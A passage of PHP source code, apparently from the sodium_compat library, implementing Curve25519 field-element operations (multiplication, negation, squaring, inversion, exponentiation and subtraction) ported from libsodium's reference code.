        $f1g3_2  = self::mul($f1_2,  $g3, 25);
        $f1g4    = self::mul($f1,    $g4, 26);
        $f1g5_2  = self::mul($f1_2,  $g5, 25);
        $f1g6    = self::mul($f1,    $g6, 26);
        $f1g7_2  = self::mul($f1_2,  $g7, 25);
        $f1g8    = self::mul($f1,    $g8, 26);
        $f1g9_38 = self::mul($g9_19, $f1_2, 26);
        $f2g0    = self::mul($f2,    $g0, 26);
        $f2g1    = self::mul($f2,    $g1, 25);
        $f2g2    = self::mul($f2,    $g2, 26);
        $f2g3    = self::mul($f2,    $g3, 25);
        $f2g4    = self::mul($f2,    $g4, 26);
        $f2g5    = self::mul($f2,    $g5, 25);
        $f2g6    = self::mul($f2,    $g6, 26);
        $f2g7    = self::mul($f2,    $g7, 25);
        $f2g8_19 = self::mul($g8_19, $f2, 26);
        $f2g9_19 = self::mul($g9_19, $f2, 26);
        $f3g0    = self::mul($f3,    $g0, 26);
        $f3g1_2  = self::mul($f3_2,  $g1, 25);
        $f3g2    = self::mul($f3,    $g2, 26);
        $f3g3_2  = self::mul($f3_2,  $g3, 25);
        $f3g4    = self::mul($f3,    $g4, 26);
        $f3g5_2  = self::mul($f3_2,  $g5, 25);
        $f3g6    = self::mul($f3,    $g6, 26);
        $f3g7_38 = self::mul($g7_19, $f3_2, 26);
        $f3g8_19 = self::mul($g8_19, $f3, 25);
        $f3g9_38 = self::mul($g9_19, $f3_2, 26);
        $f4g0    = self::mul($f4,    $g0, 26);
        $f4g1    = self::mul($f4,    $g1, 25);
        $f4g2    = self::mul($f4,    $g2, 26);
        $f4g3    = self::mul($f4,    $g3, 25);
        $f4g4    = self::mul($f4,    $g4, 26);
        $f4g5    = self::mul($f4,    $g5, 25);
        $f4g6_19 = self::mul($g6_19, $f4, 26);
        $f4g7_19 = self::mul($g7_19, $f4, 26);
        $f4g8_19 = self::mul($g8_19, $f4, 26);
        $f4g9_19 = self::mul($g9_19, $f4, 26);
        $f5g0    = self::mul($f5,    $g0, 26);
        $f5g1_2  = self::mul($f5_2,  $g1, 25);
        $f5g2    = self::mul($f5,    $g2, 26);
        $f5g3_2  = self::mul($f5_2,  $g3, 25);
        $f5g4    = self::mul($f5,    $g4, 26);
        $f5g5_38 = self::mul($g5_19, $f5_2, 26);
        $f5g6_19 = self::mul($g6_19, $f5, 25);
        $f5g7_38 = self::mul($g7_19, $f5_2, 26);
        $f5g8_19 = self::mul($g8_19, $f5, 25);
        $f5g9_38 = self::mul($g9_19, $f5_2, 26);
        $f6g0    = self::mul($f6,    $g0, 26);
        $f6g1    = self::mul($f6,    $g1, 25);
        $f6g2    = self::mul($f6,    $g2, 26);
        $f6g3    = self::mul($f6,    $g3, 25);
        $f6g4_19 = self::mul($g4_19, $f6, 26);
        $f6g5_19 = self::mul($g5_19, $f6, 26);
        $f6g6_19 = self::mul($g6_19, $f6, 26);
        $f6g7_19 = self::mul($g7_19, $f6, 26);
        $f6g8_19 = self::mul($g8_19, $f6, 26);
        $f6g9_19 = self::mul($g9_19, $f6, 26);
        $f7g0    = self::mul($f7,    $g0, 26);
        $f7g1_2  = self::mul($f7_2,  $g1, 25);
        $f7g2    = self::mul($f7,    $g2, 26);
        $f7g3_38 = self::mul($g3_19, $f7_2, 26);
        $f7g4_19 = self::mul($g4_19, $f7, 26);
        $f7g5_38 = self::mul($g5_19, $f7_2, 26);
        $f7g6_19 = self::mul($g6_19, $f7, 25);
        $f7g7_38 = self::mul($g7_19, $f7_2, 26);
        $f7g8_19 = self::mul($g8_19, $f7, 25);
        $f7g9_38 = self::mul($g9_19,$f7_2, 26);
        $f8g0    = self::mul($f8,    $g0, 26);
        $f8g1    = self::mul($f8,    $g1, 25);
        $f8g2_19 = self::mul($g2_19, $f8, 26);
        $f8g3_19 = self::mul($g3_19, $f8, 26);
        $f8g4_19 = self::mul($g4_19, $f8, 26);
        $f8g5_19 = self::mul($g5_19, $f8, 26);
        $f8g6_19 = self::mul($g6_19, $f8, 26);
        $f8g7_19 = self::mul($g7_19, $f8, 26);
        $f8g8_19 = self::mul($g8_19, $f8, 26);
        $f8g9_19 = self::mul($g9_19, $f8, 26);
        $f9g0    = self::mul($f9,    $g0, 26);
        $f9g1_38 = self::mul($g1_19, $f9_2, 26);
        $f9g2_19 = self::mul($g2_19, $f9, 25);
        $f9g3_38 = self::mul($g3_19, $f9_2, 26);
        $f9g4_19 = self::mul($g4_19, $f9, 25);
        $f9g5_38 = self::mul($g5_19, $f9_2, 26);
        $f9g6_19 = self::mul($g6_19, $f9, 25);
        $f9g7_38 = self::mul($g7_19, $f9_2, 26);
        $f9g8_19 = self::mul($g8_19, $f9, 25);
        $f9g9_38 = self::mul($g9_19, $f9_2, 26);

        $h0 = $f0g0 + $f1g9_38 + $f2g8_19 + $f3g7_38 + $f4g6_19 + $f5g5_38 + $f6g4_19 + $f7g3_38 + $f8g2_19 + $f9g1_38;
        $h1 = $f0g1 + $f1g0    + $f2g9_19 + $f3g8_19 + $f4g7_19 + $f5g6_19 + $f6g5_19 + $f7g4_19 + $f8g3_19 + $f9g2_19;
        $h2 = $f0g2 + $f1g1_2  + $f2g0    + $f3g9_38 + $f4g8_19 + $f5g7_38 + $f6g6_19 + $f7g5_38 + $f8g4_19 + $f9g3_38;
        $h3 = $f0g3 + $f1g2    + $f2g1    + $f3g0    + $f4g9_19 + $f5g8_19 + $f6g7_19 + $f7g6_19 + $f8g5_19 + $f9g4_19;
        $h4 = $f0g4 + $f1g3_2  + $f2g2    + $f3g1_2  + $f4g0    + $f5g9_38 + $f6g8_19 + $f7g7_38 + $f8g6_19 + $f9g5_38;
        $h5 = $f0g5 + $f1g4    + $f2g3    + $f3g2    + $f4g1    + $f5g0    + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19;
        $h6 = $f0g6 + $f1g5_2  + $f2g4    + $f3g3_2  + $f4g2    + $f5g1_2  + $f6g0    + $f7g9_38 + $f8g8_19 + $f9g7_38;
        $h7 = $f0g7 + $f1g6    + $f2g5    + $f3g4    + $f4g3    + $f5g2    + $f6g1    + $f7g0    + $f8g9_19 + $f9g8_19;
        $h8 = $f0g8 + $f1g7_2  + $f2g6    + $f3g5_2  + $f4g4    + $f5g3_2  + $f6g2    + $f7g1_2  + $f8g0    + $f9g9_38;
        $h9 = $f0g9 + $f1g8    + $f2g7    + $f3g6    + $f4g5    + $f5g4    + $f6g3    + $f7g2    + $f8g1    + $f9g0   ;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return self::fe_normalize(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
                array(
                    (int) $h0,
                    (int) $h1,
                    (int) $h2,
                    (int) $h3,
                    (int) $h4,
                    (int) $h5,
                    (int) $h6,
                    (int) $h7,
                    (int) $h8,
                    (int) $h9
                )
            )
        );
    }

    /**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     */
    public static function fe_neg(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = new ParagonIE_Sodium_Core_Curve25519_Fe();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = -$f[$i];
        }
        return self::fe_normalize($h);
    }

    /**
     * Square a field element
     *
     * h = f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_sq(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f = self::fe_normalize($f);
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];

        $f0_2 = $f0 << 1;
        $f1_2 = $f1 << 1;
        $f2_2 = $f2 << 1;
        $f3_2 = $f3 << 1;
        $f4_2 = $f4 << 1;
        $f5_2 = $f5 << 1;
        $f6_2 = $f6 << 1;
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6);
        $f6_19 = self::mul($f6, 19, 5);
        $f7_38 = self::mul($f7, 38, 6);
        $f8_19 = self::mul($f8, 19, 5);
        $f9_38 = self::mul($f9, 38, 6);
        $f0f0    = self::mul($f0,    $f0,    26);
        $f0f1_2  = self::mul($f0_2,  $f1,    26);
        $f0f2_2  = self::mul($f0_2,  $f2,    26);
        $f0f3_2  = self::mul($f0_2,  $f3,    26);
        $f0f4_2  = self::mul($f0_2,  $f4,    26);
        $f0f5_2  = self::mul($f0_2,  $f5,    26);
        $f0f6_2  = self::mul($f0_2,  $f6,    26);
        $f0f7_2  = self::mul($f0_2,  $f7,    26);
        $f0f8_2  = self::mul($f0_2,  $f8,    26);
        $f0f9_2  = self::mul($f0_2,  $f9,    26);
        $f1f1_2  = self::mul($f1_2,  $f1,    26);
        $f1f2_2  = self::mul($f1_2,  $f2,    26);
        $f1f3_4  = self::mul($f1_2,  $f3_2,  26);
        $f1f4_2  = self::mul($f1_2,  $f4,    26);
        $f1f5_4  = self::mul($f1_2,  $f5_2,  26);
        $f1f6_2  = self::mul($f1_2,  $f6,    26);
        $f1f7_4  = self::mul($f1_2,  $f7_2,  26);
        $f1f8_2  = self::mul($f1_2,  $f8,    26);
        $f1f9_76 = self::mul($f9_38, $f1_2,  27);
        $f2f2    = self::mul($f2,    $f2,    27);
        $f2f3_2  = self::mul($f2_2,  $f3,    27);
        $f2f4_2  = self::mul($f2_2,  $f4,    27);
        $f2f5_2  = self::mul($f2_2,  $f5,    27);
        $f2f6_2  = self::mul($f2_2,  $f6,    27);
        $f2f7_2  = self::mul($f2_2,  $f7,    27);
        $f2f8_38 = self::mul($f8_19, $f2_2,  27);
        $f2f9_38 = self::mul($f9_38, $f2,    26);
        $f3f3_2  = self::mul($f3_2,  $f3,    26);
        $f3f4_2  = self::mul($f3_2,  $f4,    26);
        $f3f5_4  = self::mul($f3_2,  $f5_2,  26);
        $f3f6_2  = self::mul($f3_2,  $f6,    26);
        $f3f7_76 = self::mul($f7_38, $f3_2,  26);
        $f3f8_38 = self::mul($f8_19, $f3_2,  26);
        $f3f9_76 = self::mul($f9_38, $f3_2,  26);
        $f4f4    = self::mul($f4,    $f4,    26);
        $f4f5_2  = self::mul($f4_2,  $f5,    26);
        $f4f6_38 = self::mul($f6_19, $f4_2,  27);
        $f4f7_38 = self::mul($f7_38, $f4,    26);
        $f4f8_38 = self::mul($f8_19, $f4_2,  27);
        $f4f9_38 = self::mul($f9_38, $f4,    26);
        $f5f5_38 = self::mul($f5_38, $f5,    26);
        $f5f6_38 = self::mul($f6_19, $f5_2,  26);
        $f5f7_76 = self::mul($f7_38, $f5_2,  26);
        $f5f8_38 = self::mul($f8_19, $f5_2,  26);
        $f5f9_76 = self::mul($f9_38, $f5_2,  26);
        $f6f6_19 = self::mul($f6_19, $f6,    26);
        $f6f7_38 = self::mul($f7_38, $f6,    26);
        $f6f8_38 = self::mul($f8_19, $f6_2,  27);
        $f6f9_38 = self::mul($f9_38, $f6,    26);
        $f7f7_38 = self::mul($f7_38, $f7,    26);
        $f7f8_38 = self::mul($f8_19, $f7_2,  26);
        $f7f9_76 = self::mul($f9_38, $f7_2,  26);
        $f8f8_19 = self::mul($f8_19, $f8,    26);
        $f8f9_38 = self::mul($f9_38, $f8,    26);
        $f9f9_38 = self::mul($f9_38, $f9,    26);
        $h0 = $f0f0   + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38;
        $h1 = $f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38;
        $h2 = $f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19;
        $h3 = $f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38;
        $h4 = $f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 + $f7f7_38;
        $h5 = $f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38;
        $h6 = $f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 + $f8f8_19;
        $h7 = $f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38;
        $h8 = $f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    + $f9f9_38;
        $h9 = $f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return self::fe_normalize(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
                array(
                    (int) $h0,
                    (int) $h1,
                    (int) $h2,
                    (int) $h3,
                    (int) $h4,
                    (int) $h5,
                    (int) $h6,
                    (int) $h7,
                    (int) $h8,
                    (int) $h9
                )
            )
        );
    }


    /**
     * Square and double a field element
     *
     * h = 2 * f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_sq2(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $f = self::fe_normalize($f);
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];

        $f0_2 = $f0 << 1;
        $f1_2 = $f1 << 1;
        $f2_2 = $f2 << 1;
        $f3_2 = $f3 << 1;
        $f4_2 = $f4 << 1;
        $f5_2 = $f5 << 1;
        $f6_2 = $f6 << 1;
        $f7_2 = $f7 << 1;
        $f5_38 = self::mul($f5, 38, 6); /* 1.959375*2^30 */
        $f6_19 = self::mul($f6, 19, 5); /* 1.959375*2^30 */
        $f7_38 = self::mul($f7, 38, 6); /* 1.959375*2^30 */
        $f8_19 = self::mul($f8, 19, 5); /* 1.959375*2^30 */
        $f9_38 = self::mul($f9, 38, 6); /* 1.959375*2^30 */
        $f0f0 = self::mul($f0, $f0, 24);
        $f0f1_2 = self::mul($f0_2, $f1, 24);
        $f0f2_2 = self::mul($f0_2, $f2, 24);
        $f0f3_2 = self::mul($f0_2, $f3, 24);
        $f0f4_2 = self::mul($f0_2, $f4, 24);
        $f0f5_2 = self::mul($f0_2, $f5, 24);
        $f0f6_2 = self::mul($f0_2, $f6, 24);
        $f0f7_2 = self::mul($f0_2, $f7, 24);
        $f0f8_2 = self::mul($f0_2, $f8, 24);
        $f0f9_2 = self::mul($f0_2, $f9, 24);
        $f1f1_2 = self::mul($f1_2,  $f1, 24);
        $f1f2_2 = self::mul($f1_2,  $f2, 24);
        $f1f3_4 = self::mul($f1_2,  $f3_2, 24);
        $f1f4_2 = self::mul($f1_2,  $f4, 24);
        $f1f5_4 = self::mul($f1_2,  $f5_2, 24);
        $f1f6_2 = self::mul($f1_2,  $f6, 24);
        $f1f7_4 = self::mul($f1_2,  $f7_2, 24);
        $f1f8_2 = self::mul($f1_2,  $f8, 24);
        $f1f9_76 = self::mul($f9_38, $f1_2, 24);
        $f2f2 = self::mul($f2,  $f2, 24);
        $f2f3_2 = self::mul($f2_2,  $f3, 24);
        $f2f4_2 = self::mul($f2_2,  $f4, 24);
        $f2f5_2 = self::mul($f2_2,  $f5, 24);
        $f2f6_2 = self::mul($f2_2,  $f6, 24);
        $f2f7_2 = self::mul($f2_2,  $f7, 24);
        $f2f8_38 = self::mul($f8_19, $f2_2, 25);
        $f2f9_38 = self::mul($f9_38, $f2, 24);
        $f3f3_2 = self::mul($f3_2,  $f3, 24);
        $f3f4_2 = self::mul($f3_2,  $f4, 24);
        $f3f5_4 = self::mul($f3_2,  $f5_2, 24);
        $f3f6_2 = self::mul($f3_2,  $f6, 24);
        $f3f7_76 = self::mul($f7_38, $f3_2, 24);
        $f3f8_38 = self::mul($f8_19, $f3_2, 24);
        $f3f9_76 = self::mul($f9_38, $f3_2, 24);
        $f4f4 = self::mul($f4,  $f4, 24);
        $f4f5_2 = self::mul($f4_2,  $f5, 24);
        $f4f6_38 = self::mul($f6_19, $f4_2, 25);
        $f4f7_38 = self::mul($f7_38, $f4, 24);
        $f4f8_38 = self::mul($f8_19, $f4_2, 25);
        $f4f9_38 = self::mul($f9_38, $f4, 24);
        $f5f5_38 = self::mul($f5_38, $f5, 24);
        $f5f6_38 = self::mul($f6_19, $f5_2, 24);
        $f5f7_76 = self::mul($f7_38, $f5_2, 24);
        $f5f8_38 = self::mul($f8_19, $f5_2, 24);
        $f5f9_76 = self::mul($f9_38, $f5_2, 24);
        $f6f6_19 = self::mul($f6_19, $f6, 24);
        $f6f7_38 = self::mul($f7_38, $f6, 24);
        $f6f8_38 = self::mul($f8_19, $f6_2, 25);
        $f6f9_38 = self::mul($f9_38, $f6, 24);
        $f7f7_38 = self::mul($f7_38, $f7, 24);
        $f7f8_38 = self::mul($f8_19, $f7_2, 24);
        $f7f9_76 = self::mul($f9_38, $f7_2, 24);
        $f8f8_19 = self::mul($f8_19, $f8, 24);
        $f8f9_38 = self::mul($f9_38, $f8, 24);
        $f9f9_38 = self::mul($f9_38, $f9, 24);

        $h0 = (int) ($f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38) << 1;
        $h1 = (int) ($f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38) << 1;
        $h2 = (int) ($f0f2_2 + $f1f1_2  + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19) << 1;
        $h3 = (int) ($f0f3_2 + $f1f2_2  + $f4f9_38 + $f5f8_38 + $f6f7_38) << 1;
        $h4 = (int) ($f0f4_2 + $f1f3_4  + $f2f2    + $f5f9_76 + $f6f8_38 + $f7f7_38) << 1;
        $h5 = (int) ($f0f5_2 + $f1f4_2  + $f2f3_2  + $f6f9_38 + $f7f8_38) << 1;
        $h6 = (int) ($f0f6_2 + $f1f5_4  + $f2f4_2  + $f3f3_2  + $f7f9_76 + $f8f8_19) << 1;
        $h7 = (int) ($f0f7_2 + $f1f6_2  + $f2f5_2  + $f3f4_2  + $f8f9_38) << 1;
        $h8 = (int) ($f0f8_2 + $f1f7_4  + $f2f6_2  + $f3f5_4  + $f4f4    + $f9f9_38) << 1;
        $h9 = (int) ($f0f9_2 + $f1f8_2  + $f2f7_2  + $f3f6_2  + $f4f5_2) << 1;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;
        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;
        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;
        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;
        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;
        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        return self::fe_normalize(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
                array(
                    (int) $h0,
                    (int) $h1,
                    (int) $h2,
                    (int) $h3,
                    (int) $h4,
                    (int) $h5,
                    (int) $h6,
                    (int) $h7,
                    (int) $h8,
                    (int) $h9
                )
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $Z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_invert(ParagonIE_Sodium_Core_Curve25519_Fe $Z)
    {
        $z = clone $Z;
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t2 = self::fe_sq($t0);
        $t1 = self::fe_mul($t1, $t2);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 20; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 100; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }
        return self::fe_mul($t1, $t0);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $z
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_pow22523(ParagonIE_Sodium_Core_Curve25519_Fe $z)
    {
        $z = self::fe_normalize($z);
        # fe_sq(t0, z);
        # fe_sq(t1, t0);
        # fe_sq(t1, t1);
        # fe_mul(t1, z, t1);
        # fe_mul(t0, t0, t1);
        # fe_sq(t0, t0);
        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 5; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 20; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 20; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 100; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 100; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t0, t0);
        # fe_sq(t0, t0);
        # fe_mul(out, t0, z);
        $t0 = self::fe_mul($t1, $t0);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_sq($t0);
        return self::fe_mul($t0, $z);
    }

    /**
     * Subtract two field elements.
     *
     * h = f - g
     *
     * Preconditions:
     * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     *
     * Postconditions:
     * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedOperand
     */
    public static function fe_sub(ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g)
    {
        return self::fe_normalize(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
                array(
                    (int) ($f[0] - $g[0]),
                    (int) ($f[1] - $g[1]),
                    (int) ($f[2] - $g[2]),
                    (int) ($f[3] - $g[3]),
                    (int) ($f[4] - $g[4]),
                    (int) ($f[5] - $g[5]),
                    (int) ($f[6] - $g[6]),
                    (int) ($f[7] - $g[7]),
                    (int) ($f[8] - $g[8]),
                    (int) ($f[9] - $g[9])
                )
            )
        );
    }

    /**
     * Add two group elements.
     *
     * r = p + q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
